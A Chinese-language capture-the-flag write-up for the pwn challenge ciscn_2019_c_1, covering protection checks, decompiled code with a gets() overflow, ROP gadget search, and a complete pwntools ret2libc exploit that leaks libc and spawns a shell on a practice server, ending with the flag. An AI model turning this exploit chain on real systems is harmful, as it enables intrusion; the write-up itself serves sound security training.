ciscn_2019_c_1
潜心修炼,从基础开始
这是一道没有system的ROP
解题流程
1.检查文件
$ file ciscn_2019_c_1
ciscn_2019_c_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06ddf49af2b8c7ed708d3cfd8aec8757bca82544, not stripped
2.检查保护
$ checksec ciscn_2019_c_1
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_c1/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
开了NX和RELRO保护
NX保护为数据段不可执行
Partial RELRO为禁止部分段延迟绑定
3.IDA反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}
main函数很正常,提供了一个选择列表
观察一下 encrypt();跟进一下
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
发现危险函数gets,但是下面有一堆异或,看着就头疼。。。。
百度了一下,使用’\0’绕过,但是不知道为啥,经过不懈的查找,终于找到了原因,gets都参数后,会将’\0’输出为换行,检测长度就是0,所以 if ( v0 >= strlen(s) )语句为真,直接跳出循环。
4.查找后门函数
通过观察字符串未发现后门函数,只能通过构建ROP链getshell了
5.查找ROP链
$ ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret|jmp'
Gadgets information
============================================================
0x00000000004006db : jmp 0x4006c0
0x000000000040086b : jmp 0x400800
0x0000000000400939 : jmp 0x400979
0x0000000000400a25 : jmp 0x400aa5
0x00000000004009e2 : jmp 0x400ab4
0x0000000000400c16 : jmp 0x400b8a
0x0000000000400bdc : jmp 0x400c16
0x0000000000400c03 : jmp 0x400c1b
0x0000000000400c73 : jmp 0x400cea
0x000000000040109b : jmp qword ptr [rbp]
0x00000000004007e5 : jmp rax
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400880 : pop rbp ; jmp 0x400800
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
Unique gadgets found: 27
发现可利用链条
0x0000000000400c83 : pop rdi ; ret
0x00000000004006b9 : ret
6.构造payload
from LibcSearcher import *
from pwn import *
context(os="linux", arch="amd64")
# context.log_level="debug"
local = 0
elf = ELF('./ciscn_2019_c_1')
ret_addr = 0x4006b9
pop_rdi = 0x400c83
if local:
pro = process('./ciscn_2019_c_1')
else:
pro = remote('node4.buuoj.cn', 27844)
def get_libcbase():
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = elf.sym['main']
payload=b'\0'+b'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
pro.sendlineafter('choice!','1')
pro.sendlineafter('encrypted\n',payload)
pro.recvline()
pro.recvline()
puts_addr= u64(pro.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
libc = LibcSearcher('puts',puts_addr)
libc_addr = puts_addr - libc.dump('puts')
# print('________________',hex(libc_addr))
return libc,libc_addr
def get_shell(libc,libc_addr):
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
pro.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret_addr)+p64(pop_rdi)+p64(binsh)+p64(system)
pro.sendlineafter('encrypted\n',payload)
pro.interactive()
if __name__ == '__main__' :
libc ,libc_addr = get_libcbase()
get_shell(libc,libc_addr)
7.获得flag
这里有个小插曲,我打本地死活打不通,然后随便试试打远程呢,竟然打通了。。。。
python2和python3执行效果是不一样的,我这里用python3
$ python3 ciscn_2019_c_1Exp.py
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_c1/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to node4.buuoj.cn on port 28140: Done
[+] There are multiple libc that meet current constraints :
0 - libc6_2.27-3ubuntu1_amd64
1 - libc6_2.3.6-0ubuntu20_i386
2 - libc-2.32-6.fc33.i686
3 - libc6_2.27-0ubuntu3_amd64
4 - libc6_2.27-0ubuntu2_amd64
5 - libc6_2.19-0ubuntu6.5_amd64
6 - libc-2.32-7.fc33.i686
7 - libc-2.32-8.fc33.i686
[+] Choose one : 2
[*] Switching to interactive mode
Ciphertext
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 28140
ctf@ctf-PC:~/Downloads/pwnexercise/ciscn_2019_c1$ python3 ciscn_2019_c_1Exp.py
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_c1/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to node4.buuoj.cn on port 28140: Done
[+] There are multiple libc that meet current constraints :
0 - libc6_2.27-3ubuntu1_amd64
1 - libc6_2.3.6-0ubuntu20_i386
2 - libc-2.32-6.fc33.i686
3 - libc6_2.27-0ubuntu3_amd64
4 - libc6_2.27-0ubuntu2_amd64
5 - libc6_2.19-0ubuntu6.5_amd64
6 - libc-2.32-7.fc33.i686
7 - libc-2.32-8.fc33.i686
[+] Choose one : 2
[*] Switching to interactive mode
Ciphertext
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 28140
ctf@ctf-PC:~/Downloads/pwnexercise/ciscn_2019_c1$ python3 ciscn_2019_c_1Exp.py
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_c1/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to node4.buuoj.cn on port 28140: Done
[+] There are multiple libc that meet current constraints :
0 - libc6_2.27-3ubuntu1_amd64
1 - libc6_2.3.6-0ubuntu20_i386
2 - libc-2.32-6.fc33.i686
3 - libc6_2.27-0ubuntu3_amd64
4 - libc6_2.27-0ubuntu2_amd64
5 - libc6_2.19-0ubuntu6.5_amd64
6 - libc-2.32-7.fc33.i686
7 - libc-2.32-8.fc33.i686
[+] Choose one : 0
[*] Switching to interactive mode
Ciphertext
$ cat flag
flag{c9545f94-8a48-4722-90d5-95ab949e311e}
[*] Got EOF while reading in interactive
打完收工